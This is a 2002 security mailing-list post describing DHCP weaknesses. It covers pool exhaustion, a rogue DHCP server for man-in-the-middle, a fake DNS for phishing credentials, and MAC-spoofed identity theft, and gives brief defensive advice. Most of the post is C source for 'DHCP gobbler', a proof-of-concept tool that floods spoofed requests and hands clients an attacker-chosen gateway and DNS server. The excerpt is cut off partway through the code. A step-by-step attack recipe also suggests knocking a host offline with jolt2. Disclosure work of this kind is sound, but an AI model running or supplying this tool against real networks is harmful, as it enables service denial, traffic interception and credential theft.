Vulnerability Development mailing list archives
DHCP man in the middle attack
From: <root () networkpenetration com>
Date: 21 Sep 2002 00:02:13 -0000
www.networkpenetration.com -------------------------- Ste Jones root () NetworkPenetration com Flaws within the Dynamic Host Configuration Protocol ---------------------------------------------------- This paper highlights some of the problems with the Dynamic Host Configuration Protocol (DHCP) such as denial of service, how to perform a man in the middle attack and also how to steal a machines identity. Proof of concept source code is available from www.networkpenetration.com. Overview of the Dynamic Host Configuration Protocol --------------------------------------------------- DHCP is used to automatically configure machines with an IP address so that the hosts do not have to be statically assigned IP addresses. DHCP helps reduce administration as a central server issues IP addresses to network cards upon request. DHCP also helps combat the problem of a shortage of IP version 4 address as DHCP allows more machines than there are available IP addresses. Most ISPs that have dial up access use DHCP to set a modems IP address, as they assume that not every modem will be online at the same time. Packet exchange for a clients interface to obtain an IP address --------------------------------------------------------------- For a clients network interface card (NIC) to be assigned an IP address various packets are sent from the NIC to the DHCP server. The packet exchange is as follows 1. The client sends a DHCP discover packet, indicating that a clients interface requires a IP address from a DHCP server. The clients interface may ask for its previous IP address from the server, this may cause problems with the man in the middle attack (explained later). 2. The server sends a DHCP offer packet, informing the client of what IP address is on offer. The IP address being offered may or may not be the one requested (if the interface asked for a specific IP address with the discover packet) depending on how busy the network is. If the network is busy then the IP address requested with the discover packet may have already been re-assigned to a different interface, thus a different IP address will be offered. 3. The client sends a DHCP request, informing the DHCP server that the clients NIC wishes to be assigned the IP address sent by the servers offer. 4. The server sends a DHCP ack, acknowledging that the NIC has sent a request for a specific IP address. At this point the clients interface assigns / binds the IP address from the DHCP servers offer packet in step two. Once this sequence of packets occurs a client has been assigned an IP address and probably a default gateway and DNS server. Numerous options can be set by the DHCP server, for a full list consult the RFC documentation. Denial of service attack ------------------------ By spoofing the clients packet exchange a DHCP server will happily give all the available leases to spoofed MAC address thus causing a denial of service. Any machine wishing to join the network after the attack would not be allocated an IP address as the whole of the DHCP range will have been either allocated to valid interfaces (ie. interfaces already joined to the network before the attack took place) or spoofed MAC addresses (from the attack). Any interface already joined to the network would not notice the effect of the attack as they have already been assigned an IP address, but interfaces without a IP address would not be able to join the network as the DHCP server will have no available IP addresses. Some DHCP servers issue ARP requests or ICMP pings to detect for IP addresses that may be reclaimed by the server. This is done as operating systems / interfaces do not release there assigned IP address when shutdown. Basic testing of the denial of service code successfully defeat the ARP method of reclaiming IP addresses (ICMP method was not tested) as the number and speed of requests for IP addresses was significantly higher than the number of ARP requests issued by the DHCP server (when running multiple copies of the source code in a script). The source code could be extended to sniff for ARP requests / ICMP ping requests and reply accordingly thus defeating the servers method of reclaiming addresses. A windows 2000 machine running DHCP with active directory, sends a packet at boot up to check that it is the only DHCP server on the network, if it is the only DHCP server then it is authorised and allowed to act as a DHCP server. Further investigation is required to see if this can be reversed to deny a win2k DHCP server from starting. Rogue DHCP server ----------------- By setting up a rogue DHCP server, a hacker could create a veritable playground for him/her self. The DHCP protocol can aid a hacker to redirect traffic through their machine (man in the middle attack) or send users to false web pages (via a rogue DNS server). This could occur as a DHCP server can set various options such as what IP address to use for the default gateway and also what DNS servers to use. Man in the middle attack ------------------------ By starting a rogue DHCP server, the real DHCP server and the rogue server will fight to assign a interface an IP address. If a rogue server wins then the interface could be assigned a different default gateway. By assigning a different default gateway (i.e. a hackers machine) all outgoing packets would be sent via the hackers machine thus sniffable. The machine acting as the default gateway would need to rewrite the MAC layer to enable the packets to be forwarded to the correct destination (ie the correct default gateway). How the man in the middle attack works -------------------------------------- The source code grabs an IP address from the DHCP server using the same method as the denial of service but instead of stealing all the IP addresses only one IP address is stolen. A rogue DHCP server is then started and listens for a client to send a discovery packet to the broadcast address. The rogue server and the valid server then both send a offer packet (the rogue server issues the IP address stolen at the start of the attack, this is to ensure that no IP address conflicts occur) and depending on which reaches the client first, determines which server the client uses. If the client uses the valid DHCP server then the man in the middle attack will fail.... If the client uses the rogue DHCP server the man in the middle attack will succeed. A couple of problems with the man in the middle attack ------------------------------------------------------ One problem with the DHCP man in the middle attack is that it may not work on a small network. The attack may not work if the NIC's request for its old IP address is fulfilled. If the normal DHCP server can fulfil the request for the specified IP address, the NIC will be assigned the previous IP address and not the one from the rogue server. The only way a rogue server can assign IP addresses is if the requested IP address is not available on the normal DHCP server (i.e. The address has been re-allocated to another interface). The rogue server would not be able to fulfil the NIC's initial request as the rogue servers address range is based on stolen addresses from the normal DHCP server, and is unlikely to contain the IP address requested. If a rogue server issues a requested IP address to any NIC that wanted it, problems would occur on the network as multiple machines may have the same IP address. Another problem with the attack is that it would only be a one way attack as the default gateway assigned by the rogue DHCP server is not the real default gateway. The fake gateway would need to sniff the packets and rewrite the MAC layer to enable the packets to be sent to the correct default gateway. The problem would occur with packets being sent from the correct default gateway back to the attacked machine as the packets would not pass through the rogue gateway, thus can not be sniffed. This basically means that all outgoing traffic can be sniffed and all incoming traffic can't. A full man in the middle attack can be established using programs such as Dsniff and Ettercap which both utilise ARP poisoning to establish the man in the middle attack. Exploiting DHCP to trick users into using a fake DNS server ----------------------------------------------------------- As mentioned above a DHCP server can tell a interface which DNS server to use, so by specifying a hackers machine running a fake DNS server could make getting usernames, passwords, credit card numbers relatively easily. The fake DNS server would point for example www.hotmail.com to the hackers IP address.... so as long as the hacker has a convincing copy of hotmail's front page the username and password could be easily stolen. Stealing a machines identity ---------------------------- Many servers that use DHCP get re-assigned the same IP address every time they request an IP address. A list of MAC addresses (maintained by the administrator) is used to re-assign the same IP address to a specific MAC address. By spoofing the MAC address of a specific machine and requesting the corresponding IP address a machines identity can be stolen. For this to occur the target machine needs to DoSed, and the packet exchange (to steal the identity) to take place before the machine is rebooted. If successful the target machines IP address will be given to the hacker and with a bit of ARP trickery (reply to ARP requests) that state should be maintained. Man in the middle attack a machine on a small network (noisy method) -------------------------------------------------------------------- 1) Denial of service a machine on the network, try using jolt2. 2) Before the machine reboots, steal the IP address it was allocated so that it has to request a new address 3) Start a rogue DHCP server, and hope that it wins the fight to assign a clients IP address. Recommendations --------------- Deploy switches (not hubs) and ensure that mac spoofing is not allowed on them. Use the DHCP protocol monitor (snort IDS plug-in) to identify possible rogue servers. More info --------- RFC 2131 & 2132 Source code ----------- //DHCP.h //DHCP gobbler header file //includes #include <stdio.h> #include <netinet/udp.h> #include <netinet/ip.h> #include <sys/types.h> #include <sys/socket.h> #include <getopt.h> #include <arpa/inet.h> #include <string.h> #include <signal.h> #include <net/if.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <libnet.h> #include <pcap.h> //#include <errno.h> #include <setjmp.h> //defines #define SA struct sockaddr #define SPORT 67 #define CPORT 68 #define VER "0.66" #define MAXLINE 4096 #define MAX_PAYLOAD_SIZE 1025 #define CMD "udp and dst port %d" //gobbling #define CMD2 "udp and src port %d or src port %d" //mitm #define CMD3 "ether dst ffffffff" //arpsniff //variables extern int verbose; extern int datalink; extern char *device; extern int fddipad; extern pcap_t *pd; extern int snaplen; extern char buf; extern int count; extern int middle; extern int ackit; extern int requestit; extern int samemac; extern int nackit; extern int offerit; extern unsigned int reqipa, reqipb, reqipc, reqipd, sentipa, sentipb, sentipc, sentipd, subneta, subnetb, subnetc, subnetd, dnsa, dnsb, dnsc, dnsd, dnse, dnsf,dnsg, dnsh, gatewaya, gatewayb, gatewayc, gatewayd, renewa, renewb, renewc, renewd, rebinda, rebindb, rebindc, rebindd, renewala, renewalb, renewalc, renewald, rebinda, rebindb, rebindc, rebindd, leasea, leaseb, leasec, leased; extern u_char storedmac[6]; extern int storedpackid; extern int nonewips; extern int gipnum; extern int arpsniff; //structs struct header{ struct iphdr ip; //ip header struct udphdr udp; //udp header char buf[548]; //DHCP header }; struct arpheader{ struct libnet_arp_hdr arp; }; struct gobbledIPs{ unsigned int address[4]; unsigned int ethernet[7]; }; //prototypes void usage(char *progname); struct header *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4); void open_pcap(void); struct header *udp_check(char *ptr, int len); struct header *udpread(void); char *next_pcap(int *len); unsigned short in_chksum(unsigned short *pts, int nbytes); void cleanup(int sigio); struct header *gobble(void); char *next_pcap(int *); void open_pacp(void); void mitm(void); void sig_alrm(int sigio); void sniffedattack(struct header *heada); void trickery(void); void getgatewaymac(); void gatewayarpsniff(); //convert.c prototypes unsigned int convert32(char *ptr, int anum, int bnum, int cnum, int dnum); unsigned int convert16(char *ptr, int anum, int bnum); unsigned int convert8(char *ptr, int num); //libnet stuff extern u_char *netdevice; // // //end of DHCP.h //start of main.c /*12 may 2k2 www.networkpenetration.com dhcp gobbler by Ste Jones root () networkpenetration com proof of concept code for DCHP IP excaution attack + proof of concept of man in the middle attack Tested on mandrake 8 against a win2k advanced server box running the default DHCP server should work against all DHCP servers. to defend against this attack make sure your switches are properly configured to disallow spoofed mac address + also apply a strict access policy to the DHCP server esspecially on wireless networks. bugs.... probably lots..... sometimes the sniffer freezes at the start..... just ctrl+c and restart use ./compile to build DHCP gobbler for educational use only Paper avialable from www.networkpenetration.com TO DO ----- The rouge dhcp server works... ie it sets the default gateway and DNS server to the ones specified on the command line. Addition coding is required for this program to act as a default gateway and also a spoofed DNS server needs to be written. Ideally the spoofed DNS would perform a zone transfer to perform the DNS lookup's, coupled with a list of addresses with their corrisponding spoofed ip addresses recode as multithreaded need to create list of IPs + mac addresses to defeat arp request method of reclaiming addresses add wireless support add ppp support for testing pen testing ISP's mitm..... rewrite mac layer so packets can be forwarded, probe for mac address of normal gateway */ #include "DHCP.h" int datalink, gob, count, middle, maninthemiddle, timeout, ackit, nackit, requestit, offerit, samemac, nonewips, gipnum, storedpackid; register int verbose; static sigjmp_buf jmpbuf; static int canjump; char *device; //libpcap device pcap_t *pd; int fddipad; //fddi hack int snaplen = 600; u_char *netdevice; //libnet device unsigned int reqipa = 0, reqipb = 0, reqipc = 0, reqipd = 0; //requested IP unsigned int sentipa = 0, sentipb = 0, sentipc = 0, sentipd = 0; //sent requested ip unsigned int subneta = 0, subnetb = 0, subnetc = 0, subnetd = 0; //store offered subnet mask unsigned int dnsa = 0, dnsb = 0, dnsc = 0, dnsd = 0, dnse = 0, dnsf = 0, dnsg = 0, dnsh = 0; //dns server 2 addresses unsigned int gatewaya = 0, gatewayb = 0, gatewayc = 0, gatewayd = 0; unsigned int renewala = 0, renewalb = 0, renewalc = 0, renewald = 0; unsigned int rebinda = 0, rebindb = 0, rebindc = 0, rebindd = 0; unsigned int leasea = 0, leaseb = 0, leasec = 0, leased = 0; u_char storedmac[6]; struct gobbledIPs gips[512]; //Array for the gobbled IP addressess..... should really sort out malloc for each new IP struct header sniffedofferheader; struct in_addr gateway; struct in_addr dns; struct in_addr fakedhcp; struct arpheader arphdr; int arpsniff; int main (int argc, char **argv) { int c; struct header *head; int flag; printf("\nDHCP gobbler v" VER " from www.networkpenetration.com\n"); printf("--------------------------------------------------\n\n"); device = NULL; netdevice = NULL; flag = 0; opterr = 0; while ((c = getopt(argc, argv, "s:i:gvm:n:t:D:G:A:M")) != -1){ switch(c){ case 'i': netdevice = optarg; //libnet device break; case 's': device = optarg; //libpcap device break; case 'g': gob = 1; //gobble all the addresses break; case 'v': verbose = 1; break; case 'm': maninthemiddle = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'G': if(!inet_aton(optarg, &gateway)){ printf("Malformed Gateway IP address: %s\n\n", optarg); exit(1); } flag++; break; case 'D': if(!inet_aton(optarg, &dns)){ printf("Malformed DNS IP address: %s\n\n", optarg); exit(1); } flag++; break; case 'A' : if(!inet_aton(optarg, &fakedhcp)){ printf("Malformed fake DHCP server address: %s\n\n", optarg); exit(1); } flag++; break; case 'M': getgatewaymac(); exit(1); break; case '?': usage(argv[0]); exit(0); default: usage(argv[0]); exit(0); } } if((gob) && (maninthemiddle)){ printf("Can't gobble and do a man in the middle attack at the same time\n\n"); exit(1); } if(!timeout) timeout = 3; //10 sec in RFC for each MAC if(timeout < 1) { printf("Timeout needs to be greater than 1\n\n"); exit(1); } //printf("Timeout set to %d seconds\n", timeout); //auto detect interface IP address for default gateway, use default DNS intially if((maninthemiddle) && (flag != 3)){ printf("When performing a man in the middle attack you need to specify a DNS, default gateway and fake DHCP server address\n\n"); exit(1); } if(gob) { for( ; ; ){ sleep(1.5); head = gobble(); } exit(0); } if(maninthemiddle){ mitm(); exit(0); } usage(argv[0]); exit(0); } void usage(char *progname) { printf( "Attack Options\n"\ "-g to gobble all available IP's\n"\ "-m <#> Start a man in the middle attack, # indicates number of connections to initially gobble\n\n"\ "Man in the middle attack options\n"\ "-D <IP Address> IP address of spoofed DNS server\n"\ "-G <IP Address> IP address of spoofed default gateway\n"\ "-A <IP Address> IP address of fake DHCP server (can be spoofed)\n\n"\ "Misc Options\n"\ "-s <NIC> select interface for sniffer use\n"\ "-i <NIC> select interface for injecting packets\n"\ "-v verbose\n\n"\ "Press CTRL+C to quit the DHCP gobbler\n\n"); exit(0); } struct header *opensniff(u_char comp1, u_char comp2, u_char comp3, u_char comp4) { struct header *heada; char sname[64]; char file[128]; register int loop; int sstart, fstart, t, len, offer; int padcount = 0; int comp1a, comp2a, comp3a, comp4a; int discover = 0; int request = 0; int nack = 0; int ack = 0; int decline = 0; int addra, addrb, addrc, addrd; open_pcap(); printf("Sniffing DHCP packets.....\n"); for ( ; ; ){ bzero(&heada, sizeof(heada)); heada = udpread(); padcount = 0; //store IP addresses addra = convert8(heada->buf, 16); addrb = convert8(heada->buf, 17); addrc = convert8(heada->buf, 18); addrd = convert8(heada->buf, 19); if(verbose){ printf("\nGot a DHCP packet\n"); printf("OP: %x ", heada->buf[0]); if(heada->buf[0] == 1){ printf("Boot Request"); } if(heada->buf[0] == 2){ printf("Boot Reply"); } printf("\nH Type: %x", heada->buf[1]); if(heada->buf[1] == 1){ printf(", 10Mb Ethernet"); } printf("\nHLEN: %x", heada->buf[2]); if(heada->buf[2] == 6){ printf(", 10Mb Ethernet"); } printf("\nHops: %x", convert8(heada->buf,3)); printf("\nTransaction ID: %x %x %x %x", convert8(heada->buf,4), convert8(heada->buf,5), convert8(heada->buf,6), convert8(heada->buf,7)); printf("\nElapsed Time: %d secs", convert16(heada->buf, 8,9)); printf("\nReserved: %x %x", convert8(heada->buf,10), convert8(heada->buf,11)); printf("\nCli addr: %d.%d.%d.%d", convert8(heada->buf, 12), convert8(heada->buf,13), convert8(heada->buf, 14), convert8(heada->buf, 15)); printf("\nYi addr: %d.%d.%d.%d", convert8(heada->buf,16), convert8(heada->buf,17), convert8(heada->buf,18), convert8(heada->buf,19)); printf("\nSi addr: %d.%d.%d.%d", convert8(heada->buf,20), convert8(heada->buf,21), convert8(heada->buf,22), convert8(heada->buf,23)); printf("\nGi addr: %d.%d.%d.%d", convert8(heada->buf,24), convert8(heada->buf,25), convert8(heada->buf,26), convert8(heada->buf,27)); printf("\nHardware address %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x", convert8(heada->buf,28), convert8(heada->buf,29), convert8(heada->buf,30), convert8(heada->buf,31), convert8(heada->buf,32), convert8(heada->buf,33), convert8(heada->buf,34), convert8(heada->buf,35), convert8(heada->buf,36), convert8(heada->buf,37), convert8(heada->buf,38), convert8(heada->buf,39), convert8(heada->buf,40), convert8(heada->buf,41), convert8(heada->buf,42), convert8(heada->buf,43)); sstart = 44; for(loop = 0; loop < 64; loop++) { bcopy(&heada->buf[sstart], &sname[loop], 1); sstart++; } printf("\nSname: %s\n", sname); //44 -> 107 fstart = 108; for(loop = 0; loop <128; loop++){ bcopy(&heada->buf[fstart], &file[loop], 1); fstart++; } printf("file: %s\n", file); //108 ->235 printf("magic cookie: %d.%d.%d.%d\n",convert8(heada->buf,236), convert8(heada->buf,237), convert8(heada->buf,238), convert8(heada->buf,239)); } //end of if verbose t = 240; while(t <= 548){ len = 0; switch (heada->buf[t]) { //start of switch for option tag //255 different tags..... far to many to implement at the moment case 1: //subnet address len = heada->buf[t+1]; subneta = convert8(heada->buf, (t+2)); subnetb = convert8(heada->buf, (t+3)); subnetc = convert8(heada->buf, (t+4)); subnetd = convert8(heada->buf, (t+5)); if(verbose) printf("Subnet Mask, len: %d, data: ",len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2))); } if(verbose) printf("\n"); t = t+len+2; break; case 3: //router option (default gateway) len = heada->buf[t+1]; gatewaya = convert8(heada->buf, (t+2)); gatewayb = convert8(heada->buf, (t+3)); gatewayc = convert8(heada->buf, (t+4)); gatewayd = convert8(heada->buf, (t+5)); if(verbose) printf("Router Option (default gateway), len: %d, data: %d.%d.%d.%d\n",len, convert8(heada->buf, t+2), convert8(heada->buf, t+3), convert8(heada->buf, t+4), convert8(heada->buf, t+5)); t = t+len+2; if(heada->buf[t] == -1){ if(verbose)printf("End of router list\n"); t++; } else { if(verbose)printf("eek should of been end of list, the rest of the packet may be rubbish\n"); } break; case 6: //domain name server len = heada->buf[t+1]; dnsa = convert8(heada->buf, (t+2)); dnsb = convert8(heada->buf, (t+3)); dnsc = convert8(heada->buf, (t+4)); dnsd = convert8(heada->buf, (t+5)); //still need to sort 2nd dns server if(verbose) printf("Domain name server IP, len: %d, data: ", len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%d ", convert8(heada->buf, (t+loop+2))); } if(verbose) printf("\n"); t = t+len+2; if(heada->buf[t] == -1){ if(verbose) printf("End of domain name parameter list\n"); t++; } else { if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n"); } break; case 12: //hostname len = heada->buf[t+1]; if(verbose) printf("Hostname: "); for(loop = 0; loop <len; loop++){ if(verbose) printf("%c",(char)heada->buf[t+loop+2]); } if(verbose) printf("\n"); t = t+len+2; break; case 50://request IP address len = heada->buf[t+1]; reqipa = convert8(heada->buf, (t+2)); reqipb = convert8(heada->buf, (t+3)); reqipc = convert8(heada->buf, (t+4)); reqipd = convert8(heada->buf, (t+5)); if(verbose) printf("Request IP address, len: %d, data: %d.%d.%d.%d\n", len, reqipa, reqipb, reqipc, reqipd); t = t+len+2; if(heada->buf[t] == -1){ if(verbose)printf("End of requested IP list\n"); t++; } else { if(verbose)printf("eek should of been end of list, the rest of the packet may be rubbish\n"); } break; case 51: //IP address lease time len = heada->buf[t+1]; leasea = convert8(heada->buf, (t+2)); leaseb = convert8(heada->buf, (t+3)); leasec = convert8(heada->buf, (t+4)); leased = convert8(heada->buf, (t+5)); if(verbose)printf("IP address lease time, len: %d, data: ", len); if(len == 4){ if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+2+1), (t+2+2), (t+2+3))); } if(verbose)printf("\n"); t = t+len+2; break; case 53: //Message Type len = heada->buf[t+1]; if(verbose)printf("Message Type, len: %d, TYPE: %d ", len, heada->buf[t+len+1]); if((heada->buf[t+len+1]) == 1){ if(verbose) printf("DHCP Discover\n"); discover = 1; t = t+len+2; break; } if((heada->buf[t+len+1]) == 2){ if(verbose) printf("DHCP Offer\n"); offer = 1; t = t+len+2; break; } if((heada->buf[t+len+1]) == 3){ if(verbose) printf("DHCP Request\n"); request = 1; t = t+len+2; break; } if((heada->buf[t+len+1]) == 4){ if(verbose) printf("DHCP Decline\n"); decline = 1; t = t+len+2; break; } if((heada->buf[t+len+1]) == 5){ if(verbose) printf("DHCP Ack\n"); ack = 1; t = t+len+2; break; } if((heada->buf[t+len+1]) == 6){ nack = 1; t = t+len+2; if(verbose) printf("DHCP Nack\n"); break; } if((heada->buf[t+len+1]) == 7){ t = t+len+2; if(verbose) printf("DHCP Release\n"); break; } if((heada->buf[t+len+1]) == 8){ t = t+len+2; if(verbose) printf("DHCP Inform\n"); break; } break; //shouldn't reach here case 54: //server IP len = heada->buf[t+1]; if(verbose) printf("Server IP, len: %d data: ",len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%d ",convert8(heada->buf, (t+loop+2))); } if(verbose) printf("\n"); t = t+len+2; if(heada->buf[t] == -1){ if(verbose) printf("End of Server IP parameter list\n"); t++; } else { if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n"); } break; case 55: //request list len = heada->buf[t+1]; if(verbose) printf("Request parameters list, len: %d\n", len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%x ",heada->buf[t+loop+2]); } if(verbose) printf("\n"); t = t+len+2; if(heada->buf[t] == -1){ if(verbose) printf("End of request parameter list\n"); t++; } else { if(verbose) printf("eek should of been end of list, the rest of the packet may be rubbish\n"); } break; case 57: //MAX DCHP message size len = heada->buf[t+1]; if(verbose) printf("Max DHCP message size len: %d, data: %d\n", len, convert16(heada->buf, (t+2), (t+3))); t = t+len+2; break; case 58: //renewal (T1) time value len = heada->buf[t+1]; if(verbose) printf("Renewal (T1) time, len: %d, data: ", len); renewala = convert8(heada->buf, (t+2)); renewalb = convert8(heada->buf, (t+3)); renewalc = convert8(heada->buf, (t+4)); renewald = convert8(heada->buf, (t+5)); if(len == 4){ if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), (t+4), (t+5))); } if(verbose) printf("\n"); t = t+len+2; break; case 59: //Rebinding (T2) time value len = heada->buf[t+1]; rebinda = convert8(heada->buf, (t+2)); rebindb = convert8(heada->buf, (t+3)); rebindc = convert8(heada->buf, (t+4)); rebindd = convert8(heada->buf, (t+5)); if(verbose) printf("Rebinding (T2) time, len: %d, data: ",len); if(len == 4){ if(verbose) printf("%d secs", convert32(heada->buf, (t+2), (t+3), (t+4), (t+5))); } if(verbose) printf("\n"); t = t+len+2; break; case 60: //class ID len = heada->buf[t+1]; if(verbose) printf("Class ID, len: %d, data: ",len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%c",(char)heada->buf[t+loop+2]); } if(verbose) printf("\n"); t = t+len+2; break; case 61: //client identfier len = heada->buf[t+1]; if(verbose) printf("Client Identifier, len: %d data: ", len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%x ",heada->buf[t+loop+2]); } if(verbose) printf("\n"); t = t+len+2; break; default: if((heada->buf[t]) == 0) { if(verbose) printf("pad "); padcount++; t++; break; } else{ len = heada->buf[t+1]; if(verbose) printf("Unknown option number: %x, len: %d data: ", heada->buf[t], len); for(loop = 0; loop <len; loop++){ if(verbose) printf("%x ",heada->buf[t+loop+2]); } if(verbose) printf("\n"); t = t+len+2; if(heada->buf[t] == -1){ if(verbose) printf("End of some random list\n"); t++; } break; } } //end of switch if(padcount > 5) { //save's dumping lots of pads if(verbose) printf("padding......\n"); break; } }//end of options if (verbose) printf("\n--------END OF PACKET--------\n\n"); comp1a = convert8(heada->buf, 4); comp2a = convert8(heada->buf, 5); comp3a = convert8(heada->buf, 6); comp4a = convert8(heada->buf, 7); if((offer) && (!middle) &&(!requestit) && (!ackit)){ if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){ printf("Got a DHCP OFFER packet\n"); memcpy(&sniffedofferheader, heada, sizeof(heada)); return(heada); } } if((discover) && (middle)){ if(requestit){ printf("Need to send another offer\n"); sniffedattack(heada); } else { printf("Got A DHCP discover packet..... a host is trying to find a valid IP\n"); return(heada); } } if((request) && (requestit)){ printf("got a dhcp request packet\n"); if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){ printf("Transaction compare passed...\n"); printf("Request IP: %d.%d.%d.%d\n", reqipa, reqipb, reqipc, reqipd); printf("Offerd IP: %d.%d.%d.%d\n", sentipa, sentipb, sentipc, sentipd); if((reqipa == sentipa) && (reqipb == sentipb) && (reqipc == sentipc) && (reqipd == sentipd)){ printf("Sent + Requested IP's match.... sending ack\n"); return(heada); } else { printf("Doh..... another server assigned the hosts IP address\n"); printf("No man in the middle attack established...... retrying\n"); nonewips = 1; mitm(); } } else printf("Doh.... Client requested a different IP address\n"); } if((ack) && (ackit)){ printf("Got a DHCP ACK packet\n"); if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){ if(verbose) printf("ACK Transaction compare passed...\n"); if((reqipa == sentipa) && (reqipb == sentipb) && (reqipc == sentipc) && (reqipd == sentipd)){ count++; printf("%d.%d.%d.%d gobbled.... Total: %d\n\n",addra, addrb, addrc, addrd, count); ackit = 0; return(heada); } else { printf("Doh..... IP address not gobbled retrying\n\n"); ackit = 0; gobble(); } } } if((nack) && (nackit)){ if((comp1a == comp1) && (comp2a == comp2) && (comp3a == comp3) && (comp4a == comp4)){ printf("Got A DHCP nack packet client should resend discover... restarting man in the middle attack\n"); nonewips = 1; mitm(); } } }//end of for loop } struct header *udpread(void) { int len; char *ptr; struct ether_header *eptr; //we get the ethernet header here signal(SIGTERM, cleanup); signal(SIGINT, cleanup); signal(SIGHUP, cleanup); for ( ; ; ){ ptr = next_pcap(&len); switch(datalink) { case DLT_NULL: return(udp_check(ptr+4, len-4)); case DLT_EN10MB: eptr = (struct ether_header *) ptr; if(ntohs(eptr->ether_type) != ETHERTYPE_IP){ printf("Ethernet Type %x not IP\n", ntohs(eptr->ether_type)); //exit(1); break; //need to check } return(udp_check(ptr +14, len -14)); case DLT_SLIP: //slip header return(udp_check(ptr +24, len -24)); case DLT_PPP: //ppp header return(udp_check(ptr +24, len -24)); default: printf("Unsupported datalink %d", datalink); exit(1); } } } struct header * udp_check(char *ptr, int len) { int hlen; struct ip *ip; struct header *hdr; if(len < sizeof(struct ip) + sizeof(struct udphdr)){ printf("len = %d\n", len); exit(1); } ip = (struct ip *) ptr; if(ip->ip_v != IPVERSION) { printf("ip_v = %d\n", ip->ip_hl); exit(1); } hlen = (ip->ip_hl << 2); if(hlen < sizeof(struct ip)){ printf("ip_hl = %d\n", ip->ip_hl); exit(1); } if(len < hlen + sizeof(struct udphdr)){ printf("len = %d, hlen = %d\n", len, hlen); exit(1); } if(ip->ip_p == IPPROTO_UDP){ hdr = (struct header *) ip; return(hdr); } else { printf("not a udp packet\n"); exit(1); } } char *next_pcap(int *len) { char *ptr; struct pcap_pkthdr hdr; while((ptr = (char *) pcap_next(pd, &hdr)) == NULL); *len = hdr.caplen; return(ptr); } void open_pcap(void) { uint32_t localnet, netmask; char cmd[MAXLINE], errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fcode; if(middle){ if(verbose) printf("Closing device b4 reopening\n"); pcap_close(pd); } if(verbose) printf("Trying to open pcap device\n"); if (device == NULL){ if((device = pcap_lookupdev(errbuf)) == NULL){ printf("pcap_lookup: %s\n", errbuf); exit(1); } } if(verbose)printf("Libpcap device: %s\n", device); //hardcode promisc = 1, to_ms = 500 if((pd = pcap_open_live(device, snaplen, 1, 500, errbuf)) == NULL){ printf("pcap_open_live: %s\n", errbuf); exit(1); } if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0){ printf("pcap_lookupnet: %s\n", errbuf); exit(1); } if (arpsniff) snprintf(cmd, sizeof(cmd), CMD3); //arpsniff if (middle) snprintf(cmd, sizeof(cmd), CMD2, 67, 68); //mitm else snprintf(cmd, sizeof(cmd), CMD, 68); //gobbler if (pcap_compile(pd, &fcode, cmd, 0, netmask) <0){ printf("pcap compile: %s", pcap_geterr(pd)); exit(1); } if (pcap_setfilter(pd, &fcode) < 0){ printf("pcap_setfilter: %s", pcap_geterr(pd)); exit(1); } if ((datalink = pcap_datalink(pd)) < 0){ printf("pcap_datalink: %s", pcap_geterr(pd)); exit(1); } } void cleanup(int sigio) { if(gob) printf("\nFinished gobbling, %d IP addresses gobbled...... m000 h4h4h4h4\n", count); else printf("\nFinished Man In The Middle Attack\n"); //TO DO drop lease if switch set.... useful on failed mitm's exit(0); } struct header *gobble(void) { int packet_size, payload_size, packet2_size, payload2_size, packetid, a, b; u_long dst_ip = 0; u_char *packet, *packet2; char err_buf[LIBNET_ERRBUF_SIZE]; struct libnet_link_int *network; struct header *sniffed; u_char payload[MAX_PAYLOAD_SIZE]; u_char payload2[MAX_PAYLOAD_SIZE]; u_char trans1, trans2, trans3, trans4; volatile int nsent = 0, tymeout = 0; u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //broadcast mac address tymeout = timeout; signal(SIGALRM, sig_alrm); if(sigsetjmp(jmpbuf, 1)){ if(nsent >=5){ printf("\nNo response....\n"); printf("Could mean 1 of 4 things:\n\t\tU have gobbled all the available IP addresses ho hum ho hum\n\t\tThere are no DHCP servers on this subnet\n\t\tThe timeout value is too low.... use -t from the command line\n\t\tThis programs being crap, retry\n"); cleanup(0); exit(1); } tymeout *=1.5; printf("\nTimed out..... new time out value %d secs\n",tymeout); } canjump = 1; if(((libnet_seed_prand()) <0)){ libnet_error(LIBNET_ERR_FATAL, "Couldn't seed the random generator\n"); } enet_src[0] = 0; enet_src[1] = libnet_get_prand(PR8); enet_src[2] = libnet_get_prand(PR8); enet_src[3] = libnet_get_prand(PR8); enet_src[4] = libnet_get_prand(PR8); enet_src[5] = libnet_get_prand(PR8); packetid = libnet_get_prand(PR16); trans1 = libnet_get_prand(PR8); trans2 = libnet_get_prand(PR8); trans3 = libnet_get_prand(PR8); trans3 = libnet_get_prand(PR8); trans4 = libnet_get_prand(PR8); if(maninthemiddle) printf("Trying to gobble address to be used in man in the middle attack\n"); else printf("Trying to gobble\n"); if(!maninthemiddle)printf("Spoofed Ethernet Address: %x %x %x %x %x %x\n", enet_src[0], enet_src[1], enet_src[2], enet_src[3], enet_src[4], enet_src[5]); memset(payload, 0, sizeof(payload)); if (!(dst_ip = libnet_name_resolve("255.255.255.255", LIBNET_RESOLVE))){ libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n"); } if(netdevice == NULL){ struct sockaddr_in sin; if(libnet_select_device(&sin, &netdevice, err_buf) == -1){ 